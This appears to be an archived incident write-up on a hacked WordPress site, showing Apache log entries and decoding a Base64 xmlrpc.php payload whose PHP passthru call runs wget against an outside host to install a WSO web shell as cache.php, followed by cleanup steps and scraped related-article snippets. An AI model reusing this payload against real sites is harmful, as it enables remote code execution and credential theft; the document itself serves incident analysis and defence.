WordPress xmlrpc.php flaw exploited to install a WSO 2.1 Web Shell by oRb

WordPress xmlrpc.php flaw exploited to install a “WSO 2.1 Web Shell by oRb”

Below you can see in the copy of the apache logs how the Russian exploiter first creates an account on the exploitable wordpress system. It is useful to disable automated registrations on your wordpress system. However sometimes you want this to be open if you have a forum installed on your wordpress system.

95.52.64.98 – – [30/Oct/2010:17:10:49 +0200] “POST /wp-login.php?action=register HTTP/1.1” 302 20 “http://www……..org/wp-login.php?action=register” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)”

95.52.64.98 – – [30/Oct/2010:17:11:17 +0200] “POST /wp-login.php HTTP/1.0” 302 – “http://www…….org/wp-login.php” “Opera”

After logging in you can see how the cracker installs his remote shell remotely from another compromised website by abusing an exploit in xmlrpc.php file.

95.52.64.98 – – [30/Oct/2010:17:11:20 +0200] “POST /xmlrpc.php HTTP/1.0” 200 4366 “cHJpbnQgJzxtYWdpY19zZW9fdG9vbHo+JztwYXNzdGhydSgid2dldCBodHRwOi8vd3d3LmVkdHV0b3JpYWwubmV0L3dfb2xkLnR4dDsgbXYgd19vbGQudHh0IGNhY2hlLnBocDsgbHMgLWFsOyBwd2QiKTtleGl0Ow==” “Opera”

95.52.64.98 – – [30/Oct/2010:17:11:22 +0200] “POST /wp-admin//options-permalink.php HTTP/1.0” 200 9491 “http://www…….org/wp-admin//options-permalink.php” “Opera”

You can read that the xmlrpc.php is injected with Base64 encoded input. If you decode the Base64 encoded string it reads something like this:

print ‘<magic_seo_toolz>’;passthru(“wget http://www.edtutorial.net/w_old.txt; mv w_old.txt cache.php; ls -al; pwd”);exit;

This is php code to retrieve a remotely hosted file w_old.txt and renaming it to cache.php file on the server.

cache.php is the name of the remote web shell you can access this file yourself if no password has been set by the cracker. Main issue with this shell is that the wp-config.php is readable as text so your database username and password are compromised, you must change your password after you fixed the issue!

95.52.64.98 – – [30/Oct/2010:17:12:14 +0200] “POST /cache.php HTTP/1.1” 200 4510 “/cache.php” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)”

How was this possible? First of all the webroot directory had the wrong permissions 777 and second the wordpress installation was one year old and had some XML-RPC exploitable issues.

How to fix this once your site has been compromised?

  1. The permissions of the webroot must be changed to 755.
  2. Then the wordpress installation must be deleted and a whole new install must be copied to the server.  Be sure to retain a copy of the web shell for your hosting security officer.
  3. After this the password of the wordpress database username has to be changed.
  4. The wordpress database must be restored from a backup so any spam links injected since the crack are removed.
  5. The wordpress database must be upgraded, can be done by the admin via wp-admin.
  6. Last but not least the whole shared server had to be scanned for any extra shells owned by user www-data, httpd or user apache depending on the operating system. So if you are hosted on a shared hosting platform you must inform your security officer that your wordpress installation was compromised so he/she can perform a security check of the server.
  7. Backup, backup, backup! Be sure to always have multiple backups of your wordpress database on your own pc. This exploit is mostly abused by blackhat SEO companies to spamvertise their websites via your RSS feed and having a “clean” backup will save you a lot of time.
时间: 2024-11-01 16:31:59

WordPress xmlrpc.php flaw exploited to install a WSO 2.1 Web Shell by oRb的相关文章

Wordpress xmlrpc.php暴力破解漏洞

Wordpress xmlrpc.php暴力破解漏洞 wordpress是很流行的开源博客,它提供远程发布文章的方法,就是使用跟路径的xmlrpc.php这个文件,最近爆出xmlrpc漏洞,漏洞原理是通过xmlrpc进行认证,即使认证失败,也不会被Wordpress安装的安全插件记录,所以不会触发密码输错N次被锁定的情况.因此就可能被暴力破解,如果密码又是弱口令的话,就相当危险了.最简单的解决办法,就是删除xmlrpc.php这个文件.闲来无事,用java写了暴力破解的脚本,其实就是拿着各种用户

How to Install Laravel with an Nginx Web Server on Ubuntu 14.04(Composer,laravel,nginx)

http://ubtutorials.com/tutorial/441/how-install-laravel-nginx-web-server-ubuntu-1404 https://github.com/huanghua581/laravel-getting-started/wiki/Ubuntu-14.04-%E4%B8%8A%E4%BD%BF%E7%94%A8-Nginx-%E9%83%A8%E7%BD%B2-Laravel http://www.ahlinux.com/ubuntu/2

How to Install WordPress – Complete WordPress Installation Tutorial

WordPress is known as the most popular blogging platform and content management system. New users are often surprised when we tell them that WordPress is also well known for its ease of installation. All best WordPress web hosting companies allow you

Things to Know Before Installing WordPress

Things to Know Before Installing WordPress Before you begin the install, there are a few things you need to have and do. These are: Access to your web server (via FTP or shell) Ability to create MySQL databases A text editor An FTP Client Your web br

samba共享目录构建wordpress与mysql

项目一 (1) 使用samba共享/data/application/web,在目录中提供wordpress; (2) 使用samba客户端挂载samba server共享的目录至/var/www/html: (3) 客户端(lamp),部署wordpress,并让其正常访问:要确保能正常发文章,上传图片: (4) 客户端2(lamp),挂载samba server共享的目录至/var/www/html:验正其wordpress是否可被访   问:要确保能正常发文章,上传图片: samba服务器

在Ubuntu 14.04.5 LTS上搭建WordPress环境

晚饭后闲着无聊,看着自己虚拟机里很久前安装的 Ubuntu 14.04.5 LTS ,突然想在上面搭建个网站,选来选去,决定使用WordPress环境,下面就来一步步搭建它. 1.下载WordPress程序包 wget https://cn.wordpress.org/wordpress-4.8.1-zh_CN.tar.gz 下载界面 2.安装Apache2.0 apt-get install apache2 由于我当前用户是root,如果是非root用户要在上面的命令中加上sudo 没有报错,

Lua xavante WEB server实现xmlrpc服务器端

xavante xavante是一个使用lua实现的遵守http1.1的web server,支持wsapi. 依赖库: xavante核心 -- lua, copas(纯lua编写,网络连接coroutine处理), luasocket处理网络连接. xavante file handler -- luaFileSystem 此项目属于kepler项目的一个子项目,见官网地址: http://keplerproject.github.io/xavante/manual.html github上

Install Apache, PHP And MySQL On CentOS 7 (LAMP)

原文 Install Apache, PHP And MySQL On CentOS 7 (LAMP) This tutorial shows how you can install an Apache2 webserver on a CentOS 7.0 server with PHP5 support (mod_php) and MySQL support. LAMP is short for Linux, Apache,MySQL, PHP. 1 Preliminary Note In t

如何在Ubuntu 14.10 上安装WordPress?

http://codex.wordpress.org/zh-cn:安装WordPress   介绍 如果你想快捷.简单.免费的创建个人网站的话,WordPress 是你最佳的选择. WordPress 是一种使用 PHP语言开发的博客平台,用户可以在支持 PHP 和 MySQL数据库的服务器上架设属于自己的网站.也可以把  WordPress 当作一个内容管理系统( CMS )来使用. WordPress 是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用 PHP 语言和 MySQL